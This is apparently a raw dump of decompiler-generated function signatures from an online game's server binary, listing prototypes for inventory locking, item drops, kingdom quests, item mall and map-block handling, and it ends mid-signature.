InventoryLocking::InventoryCellLockList::icl_IsLocked(InventoryLocking::InventoryCellLockList *this, int type, int slot); char __thiscall InventoryLocking::InventoryCellLockList::icl_IsLocked(InventoryLocking::InventoryCellLockList *this, int type, int slot, unsigned __int16 ignore); void __thiscall InventoryLocking::InventoryCellLockList::icl_Free(InventoryLocking::InventoryCellLockList *this, unsigned __int16 lockindex); void __thiscall InventoryLocking::InventoryCellLockList::icl_Free(InventoryLocking::InventoryCellLockList *this, int inventype, int invenslot); char __thiscall InventoryLocking::InventoryCellLockList::icl_IsAnyLock(InventoryLocking::InventoryCellLockList *this); InventoryLocking::ReservedQuantity *__thiscall InventoryLocking::InventoryCellLockList::icl_ReservedQuantity(InventoryLocking::InventoryCellLockList *this, InventoryLocking::ReservedQuantity *reserv); void __thiscall InventoryLocking::InvenCellReleaser_LinkInfo::icr_Apply(InventoryLocking::InvenCellReleaser_LinkInfo *this, #325 *, InventoryLocking::LockedCell *, char); void __thiscall List::l_Clear(List *this); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); char __thiscall InventoryLocking::InventoryCellLockList::icl_Apply_N_Free(InventoryLocking::InventoryCellLockList *this, #325 *, unsigned __int16, char); void __thiscall ItemLotAnalyser::LotAnalyser::LotAnalyser(ItemLotAnalyser::LotAnalyser *this); void __thiscall InventoryLocking::InventoryCellLockList::InventoryCellLockList(InventoryLocking::InventoryCellLockList *this); const char *__thiscall ShineScript::ss_String(ShineScript *this, char *scriptindex); // void __usercall itembreakmenu(char *str, void (__thiscall *ok)(ServerMenuFuncter *this, #434 *, ServerMenuArgument *), void (__thiscall *cancel)(ServerMenuFuncter *this, #434 *, ServerMenuArgument *), #434 *sp, ServerMenuArgument *argument); void __thiscall ItemDropper::id_OK(ItemDropper *this, #434 *, ServerMenuArgument *); void __thiscall ItemBreaker::ib_OK(ItemBreaker *this, #434 *, ServerMenuArgument *); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ItemBreakSuccess(void *this, int suc); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ItemBreakFail(void *this, int fail); void __thiscall GameDBSession::gds_NC_ITEMDB_ITEMBREAKSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_ITEMBREAKFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ServerMenuFuncter::smfm_ItemBreakWarn1(ServerMenuFuncter *this, #434 *, ServerMenuArgument *); void __thiscall ServerMenuFuncter::smfm_ItemBreakCancel(ServerMenuFuncter *this, #434 *, ServerMenuArgument *); void __thiscall ServerMenuFuncter::smfm_ItemDropWarn(ServerMenuFuncter *this, #434 *, ServerMenuArgument *); void __thiscall ServerMenuFuncter::smfm_ItemDropCancel(ServerMenuFuncter *this, #434 *, ServerMenuArgument *); void __thiscall ServerMenuFuncter::smfm_ItemBreakWarn0(ServerMenuFuncter *this, #434 *, ServerMenuArgument *); char __thiscall ItemDropper::id_Drop(ItemDropper *this, #434 *, ItemInventoryCell *, ITEM_INVEN *, PROTO_NC_ITEM_DROP_REQ *, unsigned __int16 *); char __thiscall ItemBreaker::ib_Break(ItemBreaker *this, #434 *, ItemInventoryCell *, ITEM_INVEN, unsigned __int16 *); unsigned int __thiscall RandomBox::rb_1000000(RandomBox *this); int __cdecl ItemDropFromMob::DropItemListInGroup::dilig_Compare(const void *a, const void *b); int __thiscall DropItemStruct::ItemGroup::operator_(int this, int a2); void __thiscall ItemDropFromMob::DropIndexCluster::DropIndexCluster(ItemDropFromMob::DropIndexCluster *this); int __thiscall MobRegenClass::MobBreeder::mb_RegenGroupIndex(void *this, int regengroup); int __thiscall ItemDropFromMob::DropItemListInGroup::__unnamed::__unnamed(int this); void __thiscall ItemDropFromMob::DropItemListInGroup::_DropItemListInGroup(ItemDropFromMob::DropItemListInGroup *this); void __thiscall ItemDropFromMob::DropItemListInGroup::dilig_AppendItem(ItemDropFromMob::DropItemListInGroup *this, unsigned __int16 itm, DropItemStruct::ItemGroup *ig); void __thiscall ItemDropFromMob::DropItemListInGroup::dilig_Drop(ItemDropFromMob::DropItemListInGroup *this, #325 *, char, unsigned int, unsigned int); void __thiscall ItemDropFromMob::DropIndexCluster::_DropIndexCluster(ItemDropFromMob::DropIndexCluster *this); void __thiscall ItemDropFromMob::DropItemListInGroup::DropItemListInGroup(ItemDropFromMob::DropItemListInGroup *this); void __thiscall ItemDropFromMob::DropItemListInGroup::dilig_StoreItem(ItemDropFromMob::DropItemListInGroup *this, char *index, DropItemStruct::ItemGroup *ig); void __thiscall ItemDropFromMob::DropGroupCluster::DropGroupCluster(ItemDropFromMob::DropGroupCluster *this); void __thiscall ItemDropFromMob::DropGroupCluster::dgc_Append(ItemDropFromMob::DropGroupCluster *this, ORToken *index); ItemDropFromMob::DropItemListInGroup *__thiscall ItemDropFromMob::DropGroupCluster::dgc_Find(ItemDropFromMob::DropGroupCluster *this, ORToken *index); void __thiscall ItemDropFromMob::DropItemListForSpecies::dilfs_DropByRate(ItemDropFromMob::DropItemListForSpecies *this, int sub, DropItemStruct::DropTable *droptable, #325 *attacker, RateRecalc *victim, char rrcalc, unsigned int loot_party, unsigned int loot_handle); void __thiscall ItemDropFromMob::DropIndexCluster::dic_Load(ItemDropFromMob::DropIndexCluster *this, Name4 *world); void __thiscall ItemDropFromMob::DropItemListForSpecies::dilfs_Drop(ItemDropFromMob::DropItemListForSpecies *this, DropItemStruct::DropTable *droptable, ORToken *regengroup, #325 *attacker, char victim, unsigned int loot_party, RateRecalc *loot_handle, unsigned int raterecalc); void __thiscall ItemDropFromMob::DropItemListForSpecies::dilfs_ItemDrop(ItemDropFromMob::DropItemListForSpecies *this, ORToken *regengroup, #325 *attacker, char victim, unsigned int loot_party, unsigned int loot_handle); void __thiscall ItemDropFromMob::DropIndexCluster::dic_ItemDrop(ItemDropFromMob::DropIndexCluster *this, #325 *, MobDataBox::MobDataBoxIndex *, #803 *, char, unsigned int, unsigned int); void __thiscall ItemDataBox::idb_iter_home(ItemDataBox *this, unsigned int *pnt); char __thiscall ItemDataBox::idb_iter_next(ItemDataBox *this, unsigned int *pnt); unsigned __int16 __thiscall ItemDataBox::idb_iter_Get(ItemDataBox *this, unsigned int *pnt); void __thiscall ItemGroupClassifier::ItemGroupClassifier(ItemGroupClassifier *this); void __thiscall ItemGroupClassifier::_ItemGroupClassifier(ItemGroupClassifier *this); void __thiscall ItemGroupClassifier::igc_Store(ItemGroupClassifier *this, unsigned __int16 itmid, char *dropgroup); int __thiscall CardDeck::CardStack::cs_CardNum(CardDeck::CardStack *this); unsigned __int16 __thiscall CardDeck::CardStack::cs_TakeTop(CardDeck::CardStack *this, unsigned int *card); void __thiscall ItemGroupClassifier::igc_Load(ItemGroupClassifier *this); unsigned __int16 __thiscall ItemGroupClassifier::igc_Getitem(ItemGroupClassifier *this, char *str, unsigned int clsmask); char __thiscall ItemGroupClassifier::igc_ChargedDuringUse(ItemGroupClassifier *this, ItemAttributeClass *iac, ItemTotalInformation *iti); int __cdecl ShineObjectClass::ShinePlayer::sp_CalcTotalLot(ItemBag *bag, unsigned __int16 itemid); ItemLotInspector *__cdecl ShineObjectClass::ShineObject::so_ply_GetItemLotInspector(); int __thiscall ShineObjectClass::ShinePlayer::so_ply_GetItemLotInspector(void *this); void __thiscall ItemLotInspector::ItemLotInspector(ItemLotInspector *this); void __thiscall ItemLotInspector::ili_Clear(ItemLotInspector *this); int __thiscall ShineObjectClass::ShinePlayer::so_ply_CalcTotalLot(int this, unsigned __int16 itemid, int isstoragecount, char first); void __thiscall ItemLotInspector::ili_History(ItemLotInspector *this); char __thiscall ItemLotInspector::ili_ItemCheck(ItemLotInspector *this, #434 *, SHINE_ITEM_STRUCT *, int); char __thiscall ItemLotInspector::ili_Check(ItemLotInspector *this, #434 *sp); ItemMall::ItemSetList *__thiscall ItemMall::im_FindStruct(ItemMall *this, unsigned int code); void __thiscall ItemMall::im_AddSet(ItemMall *this, ItemMall::ItemSetList *isl, ItemShop *is); // void __usercall ItemMallError(#434 *sp, unsigned int order, unsigned __int16 err); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); void __thiscall ItemMall::im_NewSet(ItemMall *this, ItemShop *is); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_CHARGEDINVENOPEN_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall GameDBSession::gds_NC_ITEMDB_CHARGED_LIST_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_CHARGED_WITHDRAW_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ChargedWithdraw(void *this, int withdraw); void __thiscall ShineObjectClass::ShinePlayer::so_ply_FillChargedInven(void *this, int chargedlist, int ViewCount); void __thiscall ItemMall::im_Load(ItemMall *this); int __cdecl operator_(Name8 *a, Name8 *b); void __thiscall ItemRandomOption::RandomOptionTable::RandomOptionTable(ItemRandomOption::RandomOptionTable *this); void __thiscall ItemRandomOption::RandomOptionTable::_RandomOptionTable(ItemRandomOption::RandomOptionTable *this); int __cdecl ItemRandomOption::RandomOptionTable::rot_Compare(const void *a, const void *b); void __thiscall MapBlock::MapDoorBlockElement::MapDoorBlockElement(ItemRandomOption::RandomOptionDatum *this); ItemRandomOption::RandomOptionDatum *__thiscall ItemRandomOption::RandomOptionTable::operator__(ItemRandomOption::RandomOptionTable *this, char *idx); void __thiscall ItemRandomOption::RandomOptionTable::rot_Load(ItemRandomOption::RandomOptionTable *this, Name4 *world); void __thiscall ItemRandomOption::RandomOptionTable::rot_FillOption(ItemRandomOption::RandomOptionTable *this, ItemOptionStorage *option, ItemRandomOption::RandomOptionDatum *datum); void __thiscall ItemsInChest::ItemsInChest(ItemsInChest *this); unsigned __int16 __thiscall ItemsInChest::iic_StoreItem(ItemsInChest *this, ItemTotalInformation *buf); void __thiscall GameDBSession::gds_NC_ITEMDB_ITEMTOTALINFORM_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); int __thiscall PROTO_KQ_MAP_INFO::operator_(int this, int a2); void *__thiscall PROTO_KQ_INFO::operator_(void *this, const void *a2); void __thiscall KingdomQuestEntrance::KingdomQuestEntrance(KingdomQuestEntrance *this); void __thiscall KingdomQuestEntrance::kqe_entry(KingdomQuestEntrance *this, unsigned __int16 handle); int __cdecl KingdomQuestEntrance::kqe_Compare(const void *a, const void *b); void __thiscall KingdomQuestGate::KingdomQuestGateKeeper::KingdomQuestGateKeeper(KingdomQuestGate::KingdomQuestGateKeeper *this); bool __thiscall KingdomQuestGate::KingdomQuestGateKeeper::erb_CheckLinkMap(KingdomQuestGate::KingdomQuestGateKeeper *this, #325 *obj); int __thiscall KingdomQuest::KQPlayerInform::regnumcomp(KingdomQuest::KQPlayerInform *this, List *lst, unsigned __int16 hnd, KingdomQuest::KQPlayerInform *key); void __thiscall List::_List(List *this); void __thiscall List::_List(KingdomQuest::KQPlayerInfoList *this); char __thiscall List::l_PushZ(List *this, KingdomQuest::KQPlayerInform *ele); char __thiscall List::l_PopA(List *this, KingdomQuest::KQPlayerInform *ele); char __thiscall List::l_PopZ(List *this, KingdomQuest::KQPlayerInform *ele); void __thiscall KingdomQuest::KQElement::kqe_QuestStart(KingdomQuest::KQElement *this); KingdomQuest::KQElement *__thiscall KingdomQuest::KingdomQuestContainer::kqc_SearchHandle(KingdomQuest::KingdomQuestContainer *this, unsigned int handle, unsigned __int16 *lsthnd); char __thiscall ListIteratorKingdomQuestMapFind::lid_Call(ListIteratorKingdomQuestMapFind *this, KingdomQuest::KQElement *ele, unsigned __int16 handle); char __thiscall KingdomQuest::KingdomQuestContainer::kqc_MapUseCheck(KingdomQuest::KingdomQuestContainer *this, Name3 *map_); void __thiscall AxialListObjectClear::AxialListObjectClear(AxialListObjectClear *this, unsigned int clearflag); void __thiscall AxialListObjectClear::_AxialListObjectClear(AxialListObjectClear *this); char __thiscall AxialListObjectClear::ali_Work(AxialListObjectClear *this, #325 *, #325 *, unsigned int); void __thiscall FieldMap::fm_ClearObject(void *this, unsigned int eraseflag); void __cdecl ShineObjectClass::ShineObject::so_RetrateFromMap(); void __thiscall ShineObjectClass::ShineDropItem::so_RetrateFromMap(ShineObjectClass::ShineDropItem *this); void __thiscall ShineObjectClass::ShineEffectObject::so_RetrateFromMap(ShineObjectClass::ShineEffectObject *this); void __thiscall ShineObjectClass::ShineMobileObject::so_RetrateFromMap(void *this); void __thiscall ShineObjectClass::ShineDoor::so_RetrateFromMap(ShineObjectClass::ShineDoor *this); void __cdecl ShineObjectClass::ShineObject::so_LinkToReserv(int lnkinf, char TryUntilSuccess); void __thiscall ShineObjectClass::ShinePlayer::so_LinkToReserv(void *this, const void *lnkinf, char TryUntilSuccess); void __stdcall ShineObjectClass::ShineObject::so_TeleportReserv(int Location); void __thiscall ShineObjectClass::ShinePlayer::so_TeleportReserv(void *this, int Location); void __thiscall KingdomQuestEntrance::kqe_sort(KingdomQuestEntrance *this, unsigned __int16 handle); PROTO_NC_KQ_JOINER *__thiscall KingdomQuestEntrance::kqe_search(KingdomQuestEntrance *this, PROTO_NC_KQ_JOINER *key, unsigned __int16 handle); int __thiscall KingdomQuestEntrance::operator__(KingdomQuestEntrance *this, PROTO_NC_KQ_W2Z_START_CMD *kqstart); void __thiscall KingdomQuestGate::KingdomQuestGate(KingdomQuestGate *this); void __thiscall KingdomQuestGate::_KingdomQuestGate(KingdomQuestGate *this); void __thiscall KingdomQuestGate::KingdomQuestGateKeeper::erb_happen(KingdomQuestGate::KingdomQuestGateKeeper *this); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_KQ_ENTRYRESPONCE_ACK(void *this, int netcmd, __int16 lsthnd, __int16 handle); void __thiscall WorldManagerSession::wms_NC_KQ_W2Z_START_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); int __thiscall KingdomQuest::KQElement::kqe_ReviveNumber(KingdomQuest::KQElement *this, char *revivehere); KingdomQuest::KQElement *__thiscall ShineObjectClass::ShinePlayer::sp_MyKQElement(void *this); int __thiscall KingdomQuest::KQPlayerInform::kqpi_KnockDownMinus(KingdomQuest::KQPlayerInform *this, unsigned int plyregnum); int __thiscall KingdomQuest::KQPlayerInform::kqpi_KnockDownPlus(KingdomQuest::KQPlayerInform *this, unsigned int plyregnum); int __thiscall KingdomQuest::KQPlayerInform::kqpi_KnockDownGet(KingdomQuest::KQPlayerInform *this, unsigned int plyregnum); _UNKNOWN *__cdecl ShineObjectClass::ShineObject::so_GetBattleStat(); void __thiscall ShineObjectClass::ShinePlayer::sp_KQItemDrop(void *this); char __thiscall List::l_PushA(List *this, KingdomQuest::KQPlayerInform *ele); void __thiscall List::l_Clear(List *this); void __thiscall WorldManagerSession::wms_NC_KQ_W2Z_DESTROY_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall List::l_Clear(List *this); KingdomQuest::KQPlayerInform *__thiscall List::l_Search(List *this, int (__thiscall *compfunc)(KingdomQuest::KQPlayerInform *this, List *, unsigned __int16, KingdomQuest::KQPlayerInform *), unsigned __int16 *hnd, KingdomQuest::KQPlayerInform *key); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall KingdomQuest::KingdomQuestContainer::_KingdomQuestContainer(KingdomQuest::KingdomQuestContainer *this); void __thiscall WorldManagerSession::wms_NC_KQ_W2Z_MAKE_REQ(WorldManagerSession *this, NETCOMMAND *netcmd, int len); int __thiscall KingdomQuest::KQPlayerInfoList::kqpil_StorePlayer_GetKnockDownNumber(KingdomQuest::KQPlayerInfoList *this, unsigned int plyregnum); int __thiscall KingdomQuest::KQPlayerInfoList::kqpil_PlayerInformFunc(KingdomQuest::KQPlayerInfoList *this, int (__thiscall *func)(KingdomQuest::KQPlayerInform *this, unsigned int), unsigned int plyregnum); int __thiscall ShineObjectClass::ShinePlayer::so_GetBattleStat(void *this); int __thiscall ShineObjectClass::ShinePlayer::sp_KQElementFunction(void *this, int (__thiscall *func)(KingdomQuest::KQPlayerInform *, unsigned int)); void __thiscall CommonList::CommonList(CommonList *this, int size); char __thiscall List::l_PushA(List *this, KingdomQuest::KQElement *ele); int __thiscall KingdomQuest::KQElement::operator_(int this, int a2); int __thiscall CommonList::operator_(int this, int a2); char __thiscall List::l_PushZ(List *this, KingdomQuest::KQElement *ele); char __thiscall List::l_PopA(List *this, KingdomQuest::KQElement *ele); char __thiscall List::l_PopZ(List *this, KingdomQuest::KQElement *ele); void __thiscall KingdomQuest::KQPlayerInfoList::KQPlayerInfoList(KingdomQuest::KQPlayerInfoList *this); void __thiscall KingdomQuest::KingdomQuestContainer::KingdomQuestContainer(KingdomQuest::KingdomQuestContainer *this); KQContribute::PlayerContribute *__cdecl std::copy(KQContribute::PlayerContribute *_First, KQContribute::PlayerContribute *_Last, KQContribute::PlayerContribute *_Dest); SHINE_XY_TYPE *__cdecl std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>(std::vector >::iterator _First, std::vector >::iterator _Last, SHINE_XY_TYPE *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); KQContribute::PlayerList *__thiscall KQContribute::KQContributeList::kqcl_FindKQ(KQContribute::KQContributeList *this, unsigned int kqhnd); int __thiscall KQContribute::KQContributeList::kqcl_GetMobKill(KQContribute::KQContributeList *this, unsigned int kqhandle, #325 *sp); SHINE_XY_TYPE *__thiscall std::vector>::_Ucopy(std::allocator *_Al, std::vector >::iterator _First, std::vector >::iterator _Last, SHINE_XY_TYPE *__formal); void __thiscall std::vector>::_Xlen(std::vector > *this); bool __thiscall std::vector>::_Buy(std::vector > *this, unsigned int _Capacity); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, KQContribute::PlayerContribute *_Val); void __thiscall std::vector>::vector>(std::vector > *this, std::vector > *_Right); void *__thiscall std::vector>::operator_(void *_Al, int __formal); void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, KQContribute::PlayerContribute _Val); std::vector >::iterator *__cdecl std::remove_copy>::iterator_std::vector>::iterator_KQContribute::PlayerList>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, std::vector >::iterator _Dest, KQContribute::PlayerList *_Val); KQContribute::PlayerList *__cdecl std::_Copy_opt(KQContribute::PlayerList *_First, KQContribute::PlayerList *_Last, KQContribute::PlayerList *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); KQContribute::PlayerList *__cdecl std::_Copy_backward_opt(KQContribute::PlayerList *_First, KQContribute::PlayerList *_Last, KQContribute::PlayerList *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall std::vector>::push_back(std::vector > *this, KQContribute::PlayerContribute *_Val); std::vector >::iterator *__cdecl std::remove>::iterator_KQContribute::PlayerList>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, KQContribute::PlayerList *_Val); void __cdecl std::fill(KQContribute::PlayerList *_First, KQContribute::PlayerList *_Last, KQContribute::PlayerList *_Val); KQContribute::PlayerList *__cdecl std::_Uninit_copy>::iterator_KQContribute::PlayerList___std::allocator>(KQContribute::PlayerList *_First, KQContribute::PlayerList *_Last, KQContribute::PlayerList *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall KQContribute::KQContributeList::kqcl_SendMobKill(KQContribute::KQContributeList *this, unsigned int kqhandle, #325 *sp, int DemandMobKill, int inc); void __cdecl std::_Uninit_fill_n>(KQContribute::PlayerList *_First, unsigned int _Count, KQContribute::PlayerList *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); KQContribute::PlayerList *__thiscall std::vector>::_Ufill(std::vector > *this, KQContribute::PlayerList *_Ptr, unsigned int _Count, KQContribute::PlayerList *_Val); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, KQContribute::PlayerList *_Val); void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count); std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last); void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, KQContribute::PlayerList _Val); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, KQContribute::PlayerList *_Val); void __thiscall KQContribute::KQContributeList::_KQContributeList(KQContribute::KQContributeList *this); void __thiscall KQContribute::KQContributeList::kqpl_EndOfKQ(KQContribute::KQContributeList *this, unsigned int kqhnd); void __thiscall std::vector>::push_back(std::vector > *this, KQContribute::PlayerList *_Val); void __thiscall KQContribute::KQContributeList::KQContributeList(KQContribute::KQContributeList *this); void __thiscall KQContribute::KQContributeList::kqcl_NewKQ(KQContribute::KQContributeList *this, unsigned int kqhnd); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); void __thiscall KQRewardDataBox::KQRewardDataBox(KQRewardDataBox *this); void __thiscall KQRewardDataBox::kqrdb_Load(KQRewardDataBox *this, Name4 *world); KINGDOM_QUEST_REW *__thiscall KQRewardDataBox::operator__(KQRewardDataBox *this, unsigned __int16 idx); KINGDOM_QUEST_REW *__thiscall KQRewardDataBox::operator__(KQRewardDataBox *this, char *idx); void __thiscall SubLayer::SubLayerInteractLoader::slil_Load(SubLayer::SubLayerInteractLoader *this, Name4 *world); char __thiscall ShineObjectClass::ShineObject::so_SubLayer_CanSee(int this, int flag); char __thiscall ShineObjectClass::ShineObject::so_SubLayer_CanAttack(void *this, int a2); char __fastcall ShineObjectClass::ShinePlayer::so_LinkTo(int sp, int lnkinf, int machine, __int16 cmd_sameserver, int cmd_otherserver); int __thiscall PROTO_NC_CHAR_REVIVEOTHER_CMD::operator_(int this, int a2); void __thiscall WorldManagerSession::wms_NC_MAP_LINKRESERVE_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineCommonParameter::_ShineCommonParameter(ShineScript *this); signed int __thiscall ShineObjectClass::ShinePlayer::sp_CanItemMakeItem(void *this); void __thiscall ItemUseFunction::iuf_Load(ItemUseFunction *this); void __thiscall ShineObjectClass::ShinePlayer::sp_MagicContainerMake(void *this, int iti, char *price); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ItemMakeItem(void *this, int itm); void __thiscall ItemConversionMap::icm_Store(ItemConversionMap *this, unsigned __int16 from, unsigned __int16 to); void __thiscall MagicContainer::mc_Load(MagicContainer *this); void __cdecl StackPrinting(); // idb int __stdcall WinMain(HINSTANCE__ *hInstance, HINSTANCE__ *hPrevInstance, char *lpCmdLine, int nCmdShow); bool __cdecl OnStart_Service(); void __cdecl OnStop_Service(); // idb int __thiscall Name8::operator__(Name8 *this, Name8 *nm); unsigned int __thiscall MapBlock::MapDoorBlockElement::mdbe_Load(MapBlock::MapDoorBlockElement *this, _iobuf *fp); void __thiscall MapBlock::MapDoorArray::mda_Load(MapBlock::MapDoorArray *this, char *mapname); void __thiscall MapBlock::MapBlockInformation::MapBlockInformation(MapBlock::MapBlockInformation *this); void __thiscall MapBlock::MapBlockInformation::_MapBlockInformation(MapBlock::MapBlockInformation *this); char __thiscall MapBlock::MapBlockInformation::mbi_IsAttackBlock(MapBlock::MapBlockInformation *this, unsigned int x, unsigned int y); char __thiscall MapBlock::MapBlockInformation::mbi_IsMoveBlock(MapBlock::MapBlockInformation *this, unsigned int x, unsigned int y); int __thiscall MapBlock::MapBlockInformationBox::__unnamed::__unnamed(int this); void __thiscall MapBlock::MapBlockInformationBox::__unnamed::___unnamed(int this); void __thiscall MapBlock::MapBlockInformationBox::_MapBlockInformationBox(MapBlock::MapBlockInformationBox *this); char __thiscall MapBlock::MapDoorBlockElement::mdbe_DoorAction(MapBlock::MapDoorBlockElement *this, MapBlock::MapBlockInformation *blockinform, MapBlock::MapDoorArray *array, MapBlock::DoorAction da); void __thiscall MapBlock::MapDoorArray::mda_CloseAllDoor(MapBlock::MapDoorArray *this, MapBlock::MapBlockInformation *blockinfo); char __thiscall MapBlock::MapBlockInformation::mbi_OccupCellCheck(MapBlock::MapBlockInformation *this, unsigned int x, unsigned int y, int range); void __thiscall MapBlock::MapBlockInformation::mbi_Load(MapBlock::MapBlockInformation *this, Name3 *mapid, unsigned int *xsize, unsigned int *ysize); void __thiscall MapBlock::MapBlockInformationBox::MapBlockInformationBox(MapBlock::MapBlockInformationBox *this); MapBlock::MapBlockInformation *__thiscall MapBlock::MapBlockInformationBox::mbib_Load(MapBlock::MapBlockInformationBox *this, Name3 *servmapid, Name3 *clntmapid, unsigned int *xsize, unsigned int *ysize); char __thiscall MapBlock::MapDoorBlockElement::mdbe_DoorAction(MapBlock::MapDoorBlockElement *this, MapBlock::MapBlockInformation *blockinform, MapBlock::MapDoorArray *array, Name8 *doorindex, MapBlock::DoorAction da); char __thiscall MapBlock::MapDoorArray::mda_DoorAction(MapBlock::MapDoorArray *this, MapBlock::MapBlockInformation *blockinform, Name8 *doorindex, MapBlock::DoorAction da); char __thiscall MapBlock::MapBlockInformation::mbi_DoorAction(MapBlock::MapBlockInformation *this, Name8 *doorindex, MapBlock::DoorAction da); void __thiscall MapClusterManager::MapCluster::InstanceMap::InstanceMap(MapClusterManager::MapCluster::InstanceMap *this); void __thiscall MapClusterManager::MapCluster::InstanceMap::_InstanceMap(MapClusterManager::MapCluster::InstanceMap *this); void __thiscall MapClusterManager::MapCluster::_MapCluster(MapClusterManager::MapCluster *this); void __thiscall MapClusterManager::MapCluster::mc_Regist(MapClusterManager::MapCluster *this, #585 *, Name3 *); bool __thiscall MapClusterManager::MapCluster::mc_MissoionFailInstance(MapClusterManager::MapCluster *this, #585 *fld); void __thiscall List::_List(List *this); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); void __thiscall MapClusterManager::ClusterManager::cm_Init(MapClusterManager::ClusterManager *this); void __thiscall MapClusterManager::MapCluster::MapCluster(MapClusterManager::MapCluster *this, char *mapindex, INSTANCE_DUNGEON::CATEGORY Category); #585 *__thiscall MapClusterManager::MapCluster::mc_FindEmpty(MapClusterManager::MapCluster *this); int __thiscall MapClusterManager::MapCluster::mc_CompName(MapClusterManager::MapCluster *this, List *lst, unsigned __int16 hnd, MapClusterManager::MapCluster *key); bool __thiscall MapClusterManager::MapCluster::mc_GetLimitTime(MapClusterManager::MapCluster *this, unsigned int *rLimitTime, unsigned int RegisterNumber); char __thiscall MapClusterManager::MapCluster::mc_SetLimitItem(MapClusterManager::MapCluster *this, unsigned int unMiunteTime, unsigned int RegisterNumber); char __thiscall ShineObjectClass::ShinePlayer::so_ply_2JobDungeon(#585 *, char *); int __thiscall ShineObjectClass::ShinePlayer::so_ply_FirstJobChange(void *this); void __thiscall TownPortalData::TownPortalData(TownPortalData *this); void __thiscall TownPortalData::tpd_Load(TownPortalData *this); TownPortal *__thiscall TownPortalData::operator__(TownPortalData *this, char index); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MAP_TOWNPORTAL_REQ(void *this, int netcmd, int len, __int16 handle); char __thiscall List::l_PushA(List *this, MapClusterManager::MapCluster *ele); int __thiscall MapClusterManager::MapCluster::operator_(int this, int a2); char __thiscall List::l_PushZ(List *this, MapClusterManager::MapCluster *ele); char __thiscall List::l_PopA(List *this, MapClusterManager::MapCluster *ele); char __thiscall List::l_PopZ(List *this, MapClusterManager::MapCluster *ele); void __thiscall List::l_Clear(List *this); void __thiscall MapClusterManager::ClusterManager::_ClusterManager(MapClusterManager::ClusterManager *this); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); #585 *__thiscall MapClusterManager::ClusterManager::cm_FindEmpty(MapClusterManager::ClusterManager *this, char *clientmapname); #585 *__cdecl ShineObjectClass::ShinePlayer::so_ply_FindJobDungeon(char *mapname); void __thiscall MapClusterManager::ClusterManager::ClusterManager(MapClusterManager::ClusterManager *this); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); void __thiscall MiniHouseEndureDataBox::MiniHouseEndureDataBox(MiniHouseEndureDataBox *this); void __thiscall PassiveDataBox::_PassiveDataBox(AbnormalStateDictionary::SubAbState *this); void __thiscall MiniHouseEndureDataBox::mhe_Load(MiniHouseEndureDataBox *this); int __thiscall MiniHouseEndureDataBox::mhe_CalEndureGrade(MiniHouseEndureDataBox *this, unsigned __int16 nEndureType, ShineDateTime *dEndEndureDate, MHE_STEP *nEndureGrade); MiniHouseObjAniDataBox::AniData *__thiscall MiniHouseObjAniDataBox::mhoadb_GetAniData(MiniHouseObjAniDataBox *this, unsigned __int16 hnd); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); void __thiscall MiniHouseObjAniDataBox::MiniHouseObjAniDataBox(MiniHouseObjAniDataBox *this); void __thiscall MiniHouseObjAniDataBox::mhoadb_MakeServerAniData(MiniHouseObjAniDataBox *this); void __thiscall MiniHouseObjAniDataBox::mhoadb_Load(MiniHouseObjAniDataBox *this); SHINE_XY_TYPE *__thiscall DirectDistanceTable::ddt_GetFoward(DirectDistanceTable *this, int sr, int distance, SHINE_XY_TYPE *buffer); int __thiscall MiscDataTable::MiscData_Skill::mds_Init(int this, __int16 skillid); MiscDataTable::MiscData_AbState *__thiscall MiscDataTable::mdt_FindAbStateAlways(MiscDataTable *this, unsigned __int16 abstateid); void __thiscall MobExplosionElement::MobExplosionEnemy::MobExplosionEnemy(MobExplosionElement::MobExplosionEnemy *this); void __thiscall 